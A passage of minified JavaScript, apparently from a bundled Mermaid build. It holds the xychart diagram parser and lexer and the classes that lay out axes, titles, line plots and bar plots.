19:this.$=$[j-1];break;case 20:this.$=[Number($[j-2]),...$[j]];break;case 21:this.$=[Number($[j])];break;case 22:F.setXAxisTitle($[j]);break;case 23:F.setXAxisTitle($[j-1]);break;case 24:F.setXAxisTitle({type:"text",text:""});break;case 25:F.setXAxisBand($[j]);break;case 26:F.setXAxisRangeData(Number($[j-2]),Number($[j]));break;case 27:this.$=$[j-1];break;case 28:this.$=[$[j-2],...$[j]];break;case 29:this.$=[$[j]];break;case 30:F.setYAxisTitle($[j]);break;case 31:F.setYAxisTitle($[j-1]);break;case 32:F.setYAxisTitle({type:"text",text:""});break;case 33:F.setYAxisRangeData(Number($[j-2]),Number($[j]));break;case 37:this.$={text:$[j],type:"text"};break;case 38:this.$={text:$[j],type:"text"};break;case 39:this.$={text:$[j],type:"markdown"};break;case 40:this.$=$[j];break;case 41:this.$=$[j-1]+""+$[j];break}},"anonymous"),table:[t(e,r,{3:1,4:2,7:4,5:n,34:i,35:a,36:s}),{1:[3]},t(e,r,{4:2,7:4,3:8,5:n,34:i,35:a,36:s}),t(e,r,{4:2,7:4,6:9,3:10,5:n,8:[1,11],34:i,35:a,36:s}),{1:[2,4],9:12,10:[1,13],12:[1,14],14:[1,15],16:[1,16],18:[1,17],19:[1,18],21:[1,19],23:[1,20]},t(l,[2,34]),t(l,[2,35]),t(l,[2,36]),{1:[2,1]},t(e,r,{4:2,7:4,3:21,5:n,34:i,35:a,36:s}),{1:[2,3]},t(l,[2,5]),t(e,[2,7],{4:22,34:i,35:a,36:s}),{11:23,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{11:39,13:38,24:S,27:w,29:40,30:41,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{11:45,15:44,27:k,33:46,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{11:49,17:48,24:A,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{11:52,17:51,24:A,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},{20:[1,53]},{22:[1,54]},t(C,[2,18]),{1:[2,2]},t(C,[2,8]),t(C,[2,9]),t(R,[2,37],{40:55,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T}),t(R,[2,38]),t(R,[2,39]),t(I,[2,40]),t(I,[2,42]),t(I,[2,43]),t(I,[2,44]),t(I,[2,45]),t(I,[2,46]),t(I,[2,47]),t(I,[2,48]),t(I,[2,49]),t(I,[2,50]),t(I,[2,51]),t(C,[2,10]),t(C,[2,22],{30:41,29:56,24:S,27:w}),t(C,[2,24]),t(C,[2,25]),{31:[1,57]},{11:59,32:58,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},t(C,[2,11]),t(C,[2,30],{33:60,27:k}),t(C,[2,32]),{31:[1,61]},t(C,[2,12]),{17:62,24:A},{25:63,27:L},t(C,[2,14]),{17:65,24:A},t(C,[2,16]),t(C,[2,17]),t(I,[2,41]),t(C,[2,23]),{27:[1,66]},{26:[1,67]},{26:[2,29],28:[1,68]},t(C,[2,31]),{27:[1,69]},t(C,[2,13]),{26:[1,70]},{26:[2,21],28:[1,71]},t(C,[2,15]),t(C,[2,26]),t(C,[2,27]),{11:59,32:72,37:24,38:u,39:h,40:27,41:f,42:d,43:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T},t(C,[2,33]),t(C,[2,19]),{25:73,27:L},{26:[2,28]},{26:[2,20]}],defaultActions:{8:[2,1],10:[2,3],21:[2,2],72:[2,28],73:[2,20]},parseError:o(function(M,P){if(P.recoverable)this.trace(M);else{var B=new Error(M);throw B.hash=P,B}},"parseError"),parse:o(function(M){var P=this,B=[0],F=[],G=[null],$=[],U=this.table,j="",te=0,Y=0,oe=0,J=2,ue=1,re=$.slice.call(arguments,1),ee=Object.create(this.lexer),Z={yy:{}};for(var K in this.yy)Object.prototype.hasOwnProperty.call(this.yy,K)&&(Z.yy[K]=this.yy[K]);ee.setInput(M,Z.yy),Z.yy.lexer=ee,Z.yy.parser=this,typeof ee.yylloc>"u"&&(ee.yylloc={});var ae=ee.yylloc;$.push(ae);var Q=ee.options&&ee.options.ranges;typeof Z.yy.parseError=="function"?this.parseError=Z.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function de(fe){B.length=B.length-2*fe,G.length=G.length-fe,$.length=$.length-fe}o(de,"popStack");function ne(){var fe;return fe=F.pop()||ee.lex()||ue,typeof fe!="number"&&(fe instanceof Array&&(F=fe,fe=F.pop()),fe=P.symbols_[fe]||fe),fe}o(ne,"lex");for(var Te,q,Ve,pe,Be,Ye,He={},Le,Ie,Ne,Ce;;){if(Ve=B[B.length-1],this.defaultActions[Ve]?pe=this.defaultActions[Ve]:((Te===null||typeof Te>"u")&&(Te=ne()),pe=U[Ve]&&U[Ve][Te]),typeof pe>"u"||!pe.length||!pe[0]){var Fe="";Ce=[];for(Le in U[Ve])this.terminals_[Le]&&Le>J&&Ce.push("'"+this.terminals_[Le]+"'");ee.showPosition?Fe="Parse error on line "+(te+1)+`: +`+ee.showPosition()+` +Expecting `+Ce.join(", ")+", got '"+(this.terminals_[Te]||Te)+"'":Fe="Parse error on line "+(te+1)+": Unexpected "+(Te==ue?"end of input":"'"+(this.terminals_[Te]||Te)+"'"),this.parseError(Fe,{text:ee.match,token:this.terminals_[Te]||Te,line:ee.yylineno,loc:ae,expected:Ce})}if(pe[0]instanceof Array&&pe.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Ve+", token: "+Te);switch(pe[0]){case 1:B.push(Te),G.push(ee.yytext),$.push(ee.yylloc),B.push(pe[1]),Te=null,q?(Te=q,q=null):(Y=ee.yyleng,j=ee.yytext,te=ee.yylineno,ae=ee.yylloc,oe>0&&oe--);break;case 2:if(Ie=this.productions_[pe[1]][1],He.$=G[G.length-Ie],He._$={first_line:$[$.length-(Ie||1)].first_line,last_line:$[$.length-1].last_line,first_column:$[$.length-(Ie||1)].first_column,last_column:$[$.length-1].last_column},Q&&(He._$.range=[$[$.length-(Ie||1)].range[0],$[$.length-1].range[1]]),Ye=this.performAction.apply(He,[j,Y,te,Z.yy,pe[1],G,$].concat(re)),typeof Ye<"u")return Ye;Ie&&(B=B.slice(0,-1*Ie*2),G=G.slice(0,-1*Ie),$=$.slice(0,-1*Ie)),B.push(this.productions_[pe[1]][0]),G.push(He.$),$.push(He._$),Ne=U[B[B.length-2]][B[B.length-1]],B.push(Ne);break;case 3:return!0}}return!0},"parse")},D=(function(){var O={EOF:1,parseError:o(function(P,B){if(this.yy.parser)this.yy.parser.parseError(P,B);else throw new Error(P)},"parseError"),setInput:o(function(M,P){return this.yy=P||this.yy||{},this._input=M,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var M=this._input[0];this.yytext+=M,this.yyleng++,this.offset++,this.match+=M,this.matched+=M;var P=M.match(/(?:\r\n?|\n).*/g);return P?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),M},"input"),unput:o(function(M){var P=M.length,B=M.split(/(?:\r\n?|\n)/g);this._input=M+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-P),this.offset-=P;var F=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),B.length-1&&(this.yylineno-=B.length-1);var G=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:B?(B.length===F.length?this.yylloc.first_column:0)+F[F.length-B.length].length-B[0].length:this.yylloc.first_column-P},this.options.ranges&&(this.yylloc.range=[G[0],G[0]+this.yyleng-P]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(M){this.unput(this.match.slice(M))},"less"),pastInput:o(function(){var M=this.matched.substr(0,this.matched.length-this.match.length);return(M.length>20?"...":"")+M.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var M=this.match;return M.length<20&&(M+=this._input.substr(0,20-M.length)),(M.substr(0,20)+(M.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var M=this.pastInput(),P=new Array(M.length+1).join("-");return M+this.upcomingInput()+` +`+P+"^"},"showPosition"),test_match:o(function(M,P){var B,F,G;if(this.options.backtrack_lexer&&(G={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(G.yylloc.range=this.yylloc.range.slice(0))),F=M[0].match(/(?:\r\n?|\n).*/g),F&&(this.yylineno+=F.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:F?F[F.length-1].length-F[F.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+M[0].length},this.yytext+=M[0],this.match+=M[0],this.matches=M,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(M[0].length),this.matched+=M[0],B=this.performAction.call(this,this.yy,this,P,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),B)return B;if(this._backtrack){for(var $ in G)this[$]=G[$];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var M,P,B,F;this._more||(this.yytext="",this.match="");for(var G=this._currentRules(),$=0;$P[0].length)){if(P=B,F=$,this.options.backtrack_lexer){if(M=this.test_match(B,G[$]),M!==!1)return M;if(this._backtrack){P=!1;continue}else return!1}else if(!this.options.flex)break}return P?(M=this.test_match(P,G[F]),M!==!1?M:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var P=this.next();return P||this.lex()},"lex"),begin:o(function(P){this.conditionStack.push(P)},"begin"),popState:o(function(){var P=this.conditionStack.length-1;return P>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(P){return P=this.conditionStack.length-1-Math.abs(P||0),P>=0?this.conditionStack[P]:"INITIAL"},"topState"),pushState:o(function(P){this.begin(P)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(P,B,F,G){var $=G;switch(F){case 0:break;case 1:break;case 2:return this.popState(),34;break;case 3:return this.popState(),34;break;case 4:return 34;case 5:break;case 6:return 10;case 7:return this.pushState("acc_title"),19;break;case 8:return this.popState(),"acc_title_value";break;case 9:return this.pushState("acc_descr"),21;break;case 10:return this.popState(),"acc_descr_value";break;case 11:this.pushState("acc_descr_multiline");break;case 12:this.popState();break;case 13:return"acc_descr_multiline_value";case 14:return 5;case 15:return 5;case 16:return 8;case 17:return this.pushState("axis_data"),"X_AXIS";break;case 18:return this.pushState("axis_data"),"Y_AXIS";break;case 19:return this.pushState("axis_band_data"),24;break;case 20:return 31;case 21:return this.pushState("data"),16;break;case 22:return this.pushState("data"),18;break;case 23:return this.pushState("data_inner"),24;break;case 24:return 27;case 25:return this.popState(),26;break;case 26:this.popState();break;case 27:this.pushState("string");break;case 28:this.popState();break;case 29:return"STR";case 30:return 24;case 31:return 26;case 32:return 43;case 33:return"COLON";case 34:return 44;case 35:return 28;case 36:return 45;case 37:return 46;case 38:return 48;case 39:return 50;case 40:return 47;case 41:return 41;case 42:return 49;case 43:return 42;case 44:break;case 45:return 35;case 46:return 36}},"anonymous"),rules:[/^(?:%%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:(\r?\n))/i,/^(?:(\r?\n))/i,/^(?:[\n\r]+)/i,/^(?:%%[^\n]*)/i,/^(?:title\b)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:\{)/i,/^(?:[^\}]*)/i,/^(?:xychart-beta\b)/i,/^(?:xychart\b)/i,/^(?:(?:vertical|horizontal))/i,/^(?:x-axis\b)/i,/^(?:y-axis\b)/i,/^(?:\[)/i,/^(?:-->)/i,/^(?:line\b)/i,/^(?:bar\b)/i,/^(?:\[)/i,/^(?:[+-]?(?:\d+(?:\.\d+)?|\.\d+))/i,/^(?:\])/i,/^(?:(?:`\) \{ this\.pushState\(md_string\); \}\n\(\?:\(\?!`"\)\.\)\+ \{ return MD_STR; \}\n\(\?:`))/i,/^(?:["])/i,/^(?:["])/i,/^(?:[^"]*)/i,/^(?:\[)/i,/^(?:\])/i,/^(?:[A-Za-z]+)/i,/^(?::)/i,/^(?:\+)/i,/^(?:,)/i,/^(?:=)/i,/^(?:\*)/i,/^(?:#)/i,/^(?:[\_])/i,/^(?:\.)/i,/^(?:&)/i,/^(?:-)/i,/^(?:[0-9]+)/i,/^(?:\s+)/i,/^(?:;)/i,/^(?:$)/i],conditions:{data_inner:{rules:[0,1,4,5,6,7,9,11,14,15,16,17,18,21,22,24,25,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0},data:{rules:[0,1,3,4,5,6,7,9,11,14,15,16,17,18,21,22,23,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0},axis_band_data:{rules:[0,1,4,5,6,7,9,11,14,15,16,17,18,21,22,25,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0},axis_data:{rules:[0,1,2,4,5,6,7,9,11,14,15,16,17,18,19,20,21,22,24,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0},acc_descr_multiline:{rules:[12,13],inclusive:!1},acc_descr:{rules:[10],inclusive:!1},acc_title:{rules:[8],inclusive:!1},title:{rules:[],inclusive:!1},md_string:{rules:[],inclusive:!1},string:{rules:[28,29],inclusive:!1},INITIAL:{rules:[0,1,4,5,6,7,9,11,14,15,16,17,18,21,22,26,27,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],inclusive:!0}}};return O})();E.lexer=D;function _(){this.yy={}}return o(_,"Parser"),_.prototype=E,E.Parser=_,new _})();GF.parser=GF;j1e=GF});function VF(t){return t.type==="bar"}function U6(t){return t.type==="band"}function ry(t){return t.type==="linear"}var H6=N(()=>{"use strict";o(VF,"isBarPlot");o(U6,"isBandAxisData");o(ry,"isLinearAxisData")});var ny,UF=N(()=>{"use strict";zo();ny=class{constructor(e){this.parentGroup=e}static{o(this,"TextDimensionCalculatorWithFont")}getMaxDimension(e,r){if(!this.parentGroup)return{width:e.reduce((a,s)=>Math.max(s.length,a),0)*r,height:r};let n={width:0,height:0},i=this.parentGroup.append("g").attr("visibility","hidden").attr("font-size",r);for(let a of e){let s=qZ(i,1,a),l=s?s.width:a.length*r,u=s?s.height:r;n.width=Math.max(n.width,l),n.height=Math.max(n.height,u)}return i.remove(),n}}});var iy,HF=N(()=>{"use strict";iy=class{constructor(e,r,n,i){this.axisConfig=e;this.title=r;this.textDimensionCalculator=n;this.axisThemeConfig=i;this.boundingRect={x:0,y:0,width:0,height:0};this.axisPosition="left";this.showTitle=!1;this.showLabel=!1;this.showTick=!1;this.showAxisLine=!1;this.outerPadding=0;this.titleTextHeight=0;this.labelTextHeight=0;this.range=[0,10],this.boundingRect={x:0,y:0,width:0,height:0},this.axisPosition="left"}static{o(this,"BaseAxis")}setRange(e){this.range=e,this.axisPosition==="left"||this.axisPosition==="right"?this.boundingRect.height=e[1]-e[0]:this.boundingRect.width=e[1]-e[0],this.recalculateScale()}getRange(){return[this.range[0]+this.outerPadding,this.range[1]-this.outerPadding]}setAxisPosition(e){this.axisPosition=e,this.setRange(this.range)}getTickDistance(){let e=this.getRange();return Math.abs(e[0]-e[1])/this.getTickValues().length}getAxisOuterPadding(){return this.outerPadding}getLabelDimension(){return this.textDimensionCalculator.getMaxDimension(this.getTickValues().map(e=>e.toString()),this.axisConfig.labelFontSize)}recalculateOuterPaddingToDrawBar(){.7*this.getTickDistance()>this.outerPadding*2&&(this.outerPadding=Math.floor(.7*this.getTickDistance()/2)),this.recalculateScale()}calculateSpaceIfDrawnHorizontally(e){let r=e.height;if(this.axisConfig.showAxisLine&&r>this.axisConfig.axisLineWidth&&(r-=this.axisConfig.axisLineWidth,this.showAxisLine=!0),this.axisConfig.showLabel){let n=this.getLabelDimension(),i=.2*e.width;this.outerPadding=Math.min(n.width/2,i);let a=n.height+this.axisConfig.labelPadding*2;this.labelTextHeight=n.height,a<=r&&(r-=a,this.showLabel=!0)}if(this.axisConfig.showTick&&r>=this.axisConfig.tickLength&&(this.showTick=!0,r-=this.axisConfig.tickLength),this.axisConfig.showTitle&&this.title){let n=this.textDimensionCalculator.getMaxDimension([this.title],this.axisConfig.titleFontSize),i=n.height+this.axisConfig.titlePadding*2;this.titleTextHeight=n.height,i<=r&&(r-=i,this.showTitle=!0)}this.boundingRect.width=e.width,this.boundingRect.height=e.height-r}calculateSpaceIfDrawnVertical(e){let r=e.width;if(this.axisConfig.showAxisLine&&r>this.axisConfig.axisLineWidth&&(r-=this.axisConfig.axisLineWidth,this.showAxisLine=!0),this.axisConfig.showLabel){let n=this.getLabelDimension(),i=.2*e.height;this.outerPadding=Math.min(n.height/2,i);let a=n.width+this.axisConfig.labelPadding*2;a<=r&&(r-=a,this.showLabel=!0)}if(this.axisConfig.showTick&&r>=this.axisConfig.tickLength&&(this.showTick=!0,r-=this.axisConfig.tickLength),this.axisConfig.showTitle&&this.title){let n=this.textDimensionCalculator.getMaxDimension([this.title],this.axisConfig.titleFontSize),i=n.height+this.axisConfig.titlePadding*2;this.titleTextHeight=n.height,i<=r&&(r-=i,this.showTitle=!0)}this.boundingRect.width=e.width-r,this.boundingRect.height=e.height}calculateSpace(e){return this.axisPosition==="left"||this.axisPosition==="right"?this.calculateSpaceIfDrawnVertical(e):this.calculateSpaceIfDrawnHorizontally(e),this.recalculateScale(),{width:this.boundingRect.width,height:this.boundingRect.height}}setBoundingBoxXY(e){this.boundingRect.x=e.x,this.boundingRect.y=e.y}getDrawableElementsForLeftAxis(){let e=[];if(this.showAxisLine){let r=this.boundingRect.x+this.boundingRect.width-this.axisConfig.axisLineWidth/2;e.push({type:"path",groupTexts:["left-axis","axisl-line"],data:[{path:`M ${r},${this.boundingRect.y} L ${r},${this.boundingRect.y+this.boundingRect.height} `,strokeFill:this.axisThemeConfig.axisLineColor,strokeWidth:this.axisConfig.axisLineWidth}]})}if(this.showLabel&&e.push({type:"text",groupTexts:["left-axis","label"],data:this.getTickValues().map(r=>({text:r.toString(),x:this.boundingRect.x+this.boundingRect.width-(this.showLabel?this.axisConfig.labelPadding:0)-(this.showTick?this.axisConfig.tickLength:0)-(this.showAxisLine?this.axisConfig.axisLineWidth:0),y:this.getScaleValue(r),fill:this.axisThemeConfig.labelColor,fontSize:this.axisConfig.labelFontSize,rotation:0,verticalPos:"middle",horizontalPos:"right"}))}),this.showTick){let r=this.boundingRect.x+this.boundingRect.width-(this.showAxisLine?this.axisConfig.axisLineWidth:0);e.push({type:"path",groupTexts:["left-axis","ticks"],data:this.getTickValues().map(n=>({path:`M ${r},${this.getScaleValue(n)} L ${r-this.axisConfig.tickLength},${this.getScaleValue(n)}`,strokeFill:this.axisThemeConfig.tickColor,strokeWidth:this.axisConfig.tickWidth}))})}return this.showTitle&&e.push({type:"text",groupTexts:["left-axis","title"],data:[{text:this.title,x:this.boundingRect.x+this.axisConfig.titlePadding,y:this.boundingRect.y+this.boundingRect.height/2,fill:this.axisThemeConfig.titleColor,fontSize:this.axisConfig.titleFontSize,rotation:270,verticalPos:"top",horizontalPos:"center"}]}),e}getDrawableElementsForBottomAxis(){let e=[];if(this.showAxisLine){let r=this.boundingRect.y+this.axisConfig.axisLineWidth/2;e.push({type:"path",groupTexts:["bottom-axis","axis-line"],data:[{path:`M ${this.boundingRect.x},${r} L ${this.boundingRect.x+this.boundingRect.width},${r}`,strokeFill:this.axisThemeConfig.axisLineColor,strokeWidth:this.axisConfig.axisLineWidth}]})}if(this.showLabel&&e.push({type:"text",groupTexts:["bottom-axis","label"],data:this.getTickValues().map(r=>({text:r.toString(),x:this.getScaleValue(r),y:this.boundingRect.y+this.axisConfig.labelPadding+(this.showTick?this.axisConfig.tickLength:0)+(this.showAxisLine?this.axisConfig.axisLineWidth:0),fill:this.axisThemeConfig.labelColor,fontSize:this.axisConfig.labelFontSize,rotation:0,verticalPos:"top",horizontalPos:"center"}))}),this.showTick){let r=this.boundingRect.y+(this.showAxisLine?this.axisConfig.axisLineWidth:0);e.push({type:"path",groupTexts:["bottom-axis","ticks"],data:this.getTickValues().map(n=>({path:`M ${this.getScaleValue(n)},${r} L ${this.getScaleValue(n)},${r+this.axisConfig.tickLength}`,strokeFill:this.axisThemeConfig.tickColor,strokeWidth:this.axisConfig.tickWidth}))})}return this.showTitle&&e.push({type:"text",groupTexts:["bottom-axis","title"],data:[{text:this.title,x:this.range[0]+(this.range[1]-this.range[0])/2,y:this.boundingRect.y+this.boundingRect.height-this.axisConfig.titlePadding-this.titleTextHeight,fill:this.axisThemeConfig.titleColor,fontSize:this.axisConfig.titleFontSize,rotation:0,verticalPos:"top",horizontalPos:"center"}]}),e}getDrawableElementsForTopAxis(){let e=[];if(this.showAxisLine){let r=this.boundingRect.y+this.boundingRect.height-this.axisConfig.axisLineWidth/2;e.push({type:"path",groupTexts:["top-axis","axis-line"],data:[{path:`M ${this.boundingRect.x},${r} L ${this.boundingRect.x+this.boundingRect.width},${r}`,strokeFill:this.axisThemeConfig.axisLineColor,strokeWidth:this.axisConfig.axisLineWidth}]})}if(this.showLabel&&e.push({type:"text",groupTexts:["top-axis","label"],data:this.getTickValues().map(r=>({text:r.toString(),x:this.getScaleValue(r),y:this.boundingRect.y+(this.showTitle?this.titleTextHeight+this.axisConfig.titlePadding*2:0)+this.axisConfig.labelPadding,fill:this.axisThemeConfig.labelColor,fontSize:this.axisConfig.labelFontSize,rotation:0,verticalPos:"top",horizontalPos:"center"}))}),this.showTick){let r=this.boundingRect.y;e.push({type:"path",groupTexts:["top-axis","ticks"],data:this.getTickValues().map(n=>({path:`M ${this.getScaleValue(n)},${r+this.boundingRect.height-(this.showAxisLine?this.axisConfig.axisLineWidth:0)} L ${this.getScaleValue(n)},${r+this.boundingRect.height-this.axisConfig.tickLength-(this.showAxisLine?this.axisConfig.axisLineWidth:0)}`,strokeFill:this.axisThemeConfig.tickColor,strokeWidth:this.axisConfig.tickWidth}))})}return this.showTitle&&e.push({type:"text",groupTexts:["top-axis","title"],data:[{text:this.title,x:this.boundingRect.x+this.boundingRect.width/2,y:this.boundingRect.y+this.axisConfig.titlePadding,fill:this.axisThemeConfig.titleColor,fontSize:this.axisConfig.titleFontSize,rotation:0,verticalPos:"top",horizontalPos:"center"}]}),e}getDrawableElements(){if(this.axisPosition==="left")return this.getDrawableElementsForLeftAxis();if(this.axisPosition==="right")throw Error("Drawing of right axis is not implemented");return this.axisPosition==="bottom"?this.getDrawableElementsForBottomAxis():this.axisPosition==="top"?this.getDrawableElementsForTopAxis():[]}}});var q6,Q1e=N(()=>{"use strict";yr();pt();HF();q6=class extends iy{static{o(this,"BandAxis")}constructor(e,r,n,i,a){super(e,i,a,r),this.categories=n,this.scale=q0().domain(this.categories).range(this.getRange())}setRange(e){super.setRange(e)}recalculateScale(){this.scale=q0().domain(this.categories).range(this.getRange()).paddingInner(1).paddingOuter(0).align(.5),X.trace("BandAxis axis final categories, range: ",this.categories,this.getRange())}getTickValues(){return this.categories}getScaleValue(e){return this.scale(e)??this.getRange()[0]}}});var W6,Z1e=N(()=>{"use strict";yr();HF();W6=class extends iy{static{o(this,"LinearAxis")}constructor(e,r,n,i,a){super(e,i,a,r),this.domain=n,this.scale=Tl().domain(this.domain).range(this.getRange())}getTickValues(){return this.scale.ticks()}recalculateScale(){let e=[...this.domain];this.axisPosition==="left"&&e.reverse(),this.scale=Tl().domain(e).range(this.getRange())}getScaleValue(e){return this.scale(e)}}});function qF(t,e,r,n){let i=new ny(n);return U6(t)?new q6(e,r,t.categories,t.title,i):new W6(e,r,[t.min,t.max],t.title,i)}var J1e=N(()=>{"use strict";H6();UF();Q1e();Z1e();o(qF,"getAxis")});function eye(t,e,r,n){let i=new ny(n);return new WF(i,t,e,r)}var WF,tye=N(()=>{"use strict";UF();WF=class{constructor(e,r,n,i){this.textDimensionCalculator=e;this.chartConfig=r;this.chartData=n;this.chartThemeConfig=i;this.boundingRect={x:0,y:0,width:0,height:0},this.showChartTitle=!1}static{o(this,"ChartTitle")}setBoundingBoxXY(e){this.boundingRect.x=e.x,this.boundingRect.y=e.y}calculateSpace(e){let r=this.textDimensionCalculator.getMaxDimension([this.chartData.title],this.chartConfig.titleFontSize),n=Math.max(r.width,e.width),i=r.height+2*this.chartConfig.titlePadding;return r.width<=n&&r.height<=i&&this.chartConfig.showTitle&&this.chartData.title&&(this.boundingRect.width=n,this.boundingRect.height=i,this.showChartTitle=!0),{width:this.boundingRect.width,height:this.boundingRect.height}}getDrawableElements(){let e=[];return this.showChartTitle&&e.push({groupTexts:["chart-title"],type:"text",data:[{fontSize:this.chartConfig.titleFontSize,text:this.chartData.title,verticalPos:"middle",horizontalPos:"center",x:this.boundingRect.x+this.boundingRect.width/2,y:this.boundingRect.y+this.boundingRect.height/2,fill:this.chartThemeConfig.titleColor,rotation:0}]}),e}};o(eye,"getChartTitleComponent")});var Y6,rye=N(()=>{"use strict";yr();Y6=class{constructor(e,r,n,i,a){this.plotData=e;this.xAxis=r;this.yAxis=n;this.orientation=i;this.plotIndex=a}static{o(this,"LinePlot")}getDrawableElement(){let e=this.plotData.data.map(n=>[this.xAxis.getScaleValue(n[0]),this.yAxis.getScaleValue(n[1])]),r;return this.orientation==="horizontal"?r=Cl().y(n=>n[0]).x(n=>n[1])(e):r=Cl().x(n=>n[0]).y(n=>n[1])(e),r?[{groupTexts:["plot",`line-plot-${this.plotIndex}`],type:"path",data:[{path:r,strokeFill:this.plotData.strokeFill,strokeWidth:this.plotData.strokeWidth}]}]:[]}}});var X6,nye=N(()=>{"use strict";X6=class{constructor(e,r,n,i,a,s){this.barData=e;this.boundingRect=r;this.xAxis=n;this.yAxis=i;this.orientation=a;this.plotIndex=s}static{o(this,"BarPlot")}getDrawableElement(){let e=this.barData.data.map(a=>[this.xAxis.getScaleValue(a[0]),this.yAxis.getScaleValue(a[1])]),n=Math.min(this.xAxis.getAxisOuterPadding()*2,this.xAxis.getTickDistance())*(1-.05),i=n/2;return this.orientation==="horizontal"?[{groupTexts:["plot",`bar-plot-${this.plotIndex}`],type:"rect",data:e.map(a=>({x:this.boundingRect.x,y:a[0]-i,height:n,width:a[1]-this.boundingRect.x,fill:this.barData.fill,strokeWidth:0,strokeFill:this.barData.fill}))}]:[{groupTexts:["plot",`bar-plot-${this.plotIndex}`],type:"rect",data:e.map(a=>({x:a[0]-i,y:a[1],width:n,height:this.boundingRect.y+this.boundingRect.height-a[1],fill:this.barData.fill,strokeWidth:0,strokeFill:this.barData.fill}))}]}}});function iye(t,e,r){return new YF(t,e,r)}var YF,aye=N(()=>{"use strict";rye();nye();YF=class{constructor(e,r,n){this.chartConfig=e;this.chartData=r;this.chartThemeConfig=n;this.boundingRect={x:0,y:0,width:0,height:0}}static{o(this,"BasePlot")}setAxes(e,r){this.xAxis=e,this.yAxis=r}setBoundingBoxXY(e){this.boundingRect.x=e.x,this.boundingRect.y=e.y}calculateSpace(e){return this.boundingRect.width=e.width,this.boundingRect.height=e.height,{width:this.boundingRect.width,height:this.boundingRect.height}}getDrawableElements(){if(!(this.xAxis&&this.yAxis))throw Error("Axes must be passed to render Plots");let e=[];for(let[r,n]of this.chartData.plots.entries())switch(n.type){case"line":{let i=new Y6(n,this.xAxis,this.yAxis,this.chartConfig.chartOrientation,r);e.push(...i.getDrawableElement())}break;case"bar":{let i=new X6(n,this.boundingRect,this.xAxis,this.yAxis,this.chartConfig.chartOrientation,r);e.push(...i.getDrawableElement())}break}return e}};o(iye,"getPlotComponent")});var j6,sye=N(()=>{"use 